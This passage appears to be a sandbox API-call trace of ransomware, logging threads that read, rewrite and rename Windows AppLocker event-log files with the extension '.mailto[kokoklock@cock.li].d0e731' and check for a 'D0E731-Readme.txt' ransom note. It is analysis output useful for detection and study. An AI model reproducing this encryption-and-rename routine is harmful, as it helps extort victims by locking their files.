ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x71afdc8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x71afdc8*=0x4096, lpOverlapped=0x0) returned 1 [0060.761] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.761] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.761] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0060.761] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b6d8 [0060.761] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b6d8) returned 1 [0060.761] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349a4a0 [0060.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b7a0 [0060.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b6b0 [0060.762] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b6b0) returned 1 [0060.762] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0060.762] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.762] WriteFile (in: hFile=0x5b4, lpBuffer=0x349a4a0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x71afdc8, lpOverlapped=0x0 | out: lpBuffer=0x349a4a0*, lpNumberOfBytesWritten=0x71afdc8*=0x4096, lpOverlapped=0x0) returned 1 [0060.762] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349a4a0) returned 1 [0060.762] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.763] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b7a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x71afe00, lpOverlapped=0x0 | out: lpBuffer=0x347b7a0*, lpNumberOfBytesWritten=0x71afe00*=0x20, lpOverlapped=0x0) returned 1 [0060.763] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b7a0) returned 1 [0060.763] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0060.763] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4c88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x71afe14, lpOverlapped=0x0 | out: lpBuffer=0x33e4c88*, lpNumberOfBytesWritten=0x71afe14*=0x8, lpOverlapped=0x0) returned 1 [0060.763] WriteFile (in: hFile=0x5b4, lpBuffer=0x71afe2c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x71afe14, lpOverlapped=0x0 | out: lpBuffer=0x71afe2c*, lpNumberOfBytesWritten=0x71afe14*=0x4, lpOverlapped=0x0) returned 1 [0060.763] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x71afe14, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x71afe14*=0x4, lpOverlapped=0x0) returned 1 [0060.763] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x71afe14, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x71afe14*=0x6c, lpOverlapped=0x0) returned 1 [0060.763] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4c38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x71afe14, lpOverlapped=0x0 | out: lpBuffer=0x33e4c38*, lpNumberOfBytesWritten=0x71afe14*=0x20, lpOverlapped=0x0) returned 1 [0060.763] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x71afe14, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x71afe14*=0x4, lpOverlapped=0x0) returned 1 [0060.763] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c38) returned 1 [0060.764] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c60) returned 1 [0060.764] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c88) returned 1 [0060.764] CloseHandle (hObject=0x5b4) returned 1 [0060.781] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xae) returned 0x33e3760 [0060.781] wcscpy (in: _Dest=0x33e3760, _Source="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" [0060.781] wcscat (in: _Dest=0x33e3760, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731" [0060.781] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0060.781] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0060.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3760) returned 1 [0060.782] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx", dwFileAttributes=0x20) returned 0 [0060.782] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433ce8 [0060.782] wcscpy (in: _Dest=0x3433ce8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0060.782] wcscat (in: _Dest=0x3433ce8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0060.782] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0060.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ce8) returned 1 [0060.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c4180) returned 1 [0060.782] RtlExitUserThread (Status=0x1) Thread: id = 76 os_tid = 0xe64 [0060.699] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20 [0060.699] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx", dwFileAttributes=0x20) returned 1 [0060.700] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8 [0060.700] GetFileSizeEx (in: hFile=0x5b8, lpFileSize=0x722ff0c | out: lpFileSize=0x722ff0c*=69632) returned 1 [0060.700] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.700] ReadFile (in: hFile=0x5b8, lpBuffer=0x722fee0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x722fedc, lpOverlapped=0x0 | out: lpBuffer=0x722fee0*, lpNumberOfBytesRead=0x722fedc*=0x4, lpOverlapped=0x0) returned 1 [0060.748] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.748] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b818 [0060.748] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0060.748] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b750 [0060.748] NtQuerySystemTime (in: CurrentTime=0x722feb8 | out: CurrentTime=0x722feb8*=132121176186488958) returned 0x0 [0060.748] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x4ec9a297 [0060.748] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0xa39b0d84 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x23dbade2 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x968f2208 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x108c76f7 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0xd601a7d6 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x19da941c [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x205a9481 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0xe0108eb9 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0xc6eb5a42 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x42552875 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x8b22e614 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x204d0d4f [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x1ca488fa [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x43b2b76c [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0xecfba81d [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x513b0e23 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x599bb4dd [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0xcb61593c [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x767cc76e [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0xe8222d59 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x2c5ba5d1 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x7ecb8e31 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0xc972b2b6 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x1f0a2aeb [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0xaa8e5c72 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x38cce453 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x5c02493e [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x3e21c252 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x23207533 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0xcf0c10b1 [0060.749] RtlRandom (in: Seed=0x722fec4 | out: Seed=0x722fec4) returned 0x22a2f970 [0060.757] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b840 [0060.759] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0060.759] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b890 [0060.759] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0060.759] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b818) returned 1 [0060.759] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3496400 [0060.760] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.760] ReadFile (in: hFile=0x5b8, lpBuffer=0x3496400, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x722fe90, lpOverlapped=0x0 | out: lpBuffer=0x3496400*, lpNumberOfBytesRead=0x722fe90*=0x4096, lpOverlapped=0x0) returned 1 [0060.775] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.775] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.775] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0060.775] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b818 [0060.775] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b818) returned 1 [0060.775] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0060.776] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b7c8 [0060.776] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b7f0 [0060.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b7f0) returned 1 [0060.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0060.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.776] WriteFile (in: hFile=0x5b8, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x722fe90, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x722fe90*=0x4096, lpOverlapped=0x0) returned 1 [0060.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0060.776] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.776] WriteFile (in: hFile=0x5b8, lpBuffer=0x347b7c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x722fec8, lpOverlapped=0x0 | out: lpBuffer=0x347b7c8*, lpNumberOfBytesWritten=0x722fec8*=0x20, lpOverlapped=0x0) returned 1 [0060.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b7c8) returned 1 [0060.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3496400) returned 1 [0060.778] WriteFile (in: hFile=0x5b8, lpBuffer=0x347b890*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x722fedc, lpOverlapped=0x0 | out: lpBuffer=0x347b890*, lpNumberOfBytesWritten=0x722fedc*=0x8, lpOverlapped=0x0) returned 1 [0060.778] WriteFile (in: hFile=0x5b8, lpBuffer=0x722fef4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x722fedc, lpOverlapped=0x0 | out: lpBuffer=0x722fef4*, lpNumberOfBytesWritten=0x722fedc*=0x4, lpOverlapped=0x0) returned 1 [0060.778] WriteFile (in: hFile=0x5b8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x722fedc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x722fedc*=0x4, lpOverlapped=0x0) returned 1 [0060.778] WriteFile (in: hFile=0x5b8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x722fedc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x722fedc*=0x6c, lpOverlapped=0x0) returned 1 [0060.778] WriteFile (in: hFile=0x5b8, lpBuffer=0x347b868*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x722fedc, lpOverlapped=0x0 | out: lpBuffer=0x347b868*, lpNumberOfBytesWritten=0x722fedc*=0x20, lpOverlapped=0x0) returned 1 [0060.778] WriteFile (in: hFile=0x5b8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x722fedc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x722fedc*=0x4, lpOverlapped=0x0) returned 1 [0060.778] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0060.778] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b840) returned 1 [0060.778] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b890) returned 1 [0060.778] CloseHandle (hObject=0x5b8) returned 1 [0060.792] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x341e0b8 [0060.792] wcscpy (in: _Dest=0x341e0b8, _Source="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" [0060.792] wcscat (in: _Dest=0x341e0b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731" [0060.792] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0060.793] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0060.793] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0b8) returned 1 [0060.793] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx", dwFileAttributes=0x20) returned 0 [0060.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433ce8 [0060.793] wcscpy (in: _Dest=0x3433ce8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0060.793] wcscat (in: _Dest=0x3433ce8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0060.793] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0060.793] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ce8) returned 1 [0060.793] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd170) returned 1 [0060.793] RtlExitUserThread (Status=0x1) Thread: id = 77 os_tid = 0xa98 [0060.702] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20 [0060.702] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", dwFileAttributes=0x20) returned 1 [0060.702] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc [0060.703] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x72afbec | out: lpFileSize=0x72afbec*=69632) returned 1 [0060.703] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.703] ReadFile (in: hFile=0x5bc, lpBuffer=0x72afbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x72afbbc, lpOverlapped=0x0 | out: lpBuffer=0x72afbc0*, lpNumberOfBytesRead=0x72afbbc*=0x4, lpOverlapped=0x0) returned 1 [0060.736] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b750 [0060.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b7c8 [0060.736] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b728 [0060.736] NtQuerySystemTime (in: CurrentTime=0x72afb98 | out: CurrentTime=0x72afb98*=132121176186332218) returned 0x0 [0060.736] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x7287ad4b [0060.736] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x13b2b881 [0060.736] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x489e74b4 [0060.736] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x4dc275 [0060.736] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0xeac3d114 [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x2933e5e6 [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0xe4f38ff8 [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0xb7d0f571 [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x1669668e [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x7fc6ef6f [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0xeb5dbc87 [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x3648c1db [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x56c1106f [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x9246ec00 [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x494405d [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x387edb1a [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x10ab71a7 [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x29d4465f [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x861fbdcc [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0xf6ef6844 [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x5a6073c8 [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x8f2daa96 [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x9d4f4bbf [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0xd5d377f5 [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x9bb7b04d [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0xa3e4acfb [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x780ed7c8 [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0xdb9762cd [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0xe28e5037 [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x29267ee5 [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0x11c9c104 [0060.737] RtlRandom (in: Seed=0x72afba4 | out: Seed=0x72afba4) returned 0xde79c641 [0060.745] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b7f0 [0060.747] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0060.747] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b688 [0060.747] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0060.747] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b750) returned 1 [0060.747] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3492360 [0060.747] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.747] ReadFile (in: hFile=0x5bc, lpBuffer=0x3492360, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x72afb70, lpOverlapped=0x0 | out: lpBuffer=0x3492360*, lpNumberOfBytesRead=0x72afb70*=0x4096, lpOverlapped=0x0) returned 1 [0060.772] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0060.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b818 [0060.772] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b818) returned 1 [0060.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0060.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b6d8 [0060.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b7a0 [0060.772] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b7a0) returned 1 [0060.773] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0060.773] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.773] WriteFile (in: hFile=0x5bc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x72afb70, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x72afb70*=0x4096, lpOverlapped=0x0) returned 1 [0060.773] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0060.773] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.773] WriteFile (in: hFile=0x5bc, lpBuffer=0x347b6d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x72afba8, lpOverlapped=0x0 | out: lpBuffer=0x347b6d8*, lpNumberOfBytesWritten=0x72afba8*=0x20, lpOverlapped=0x0) returned 1 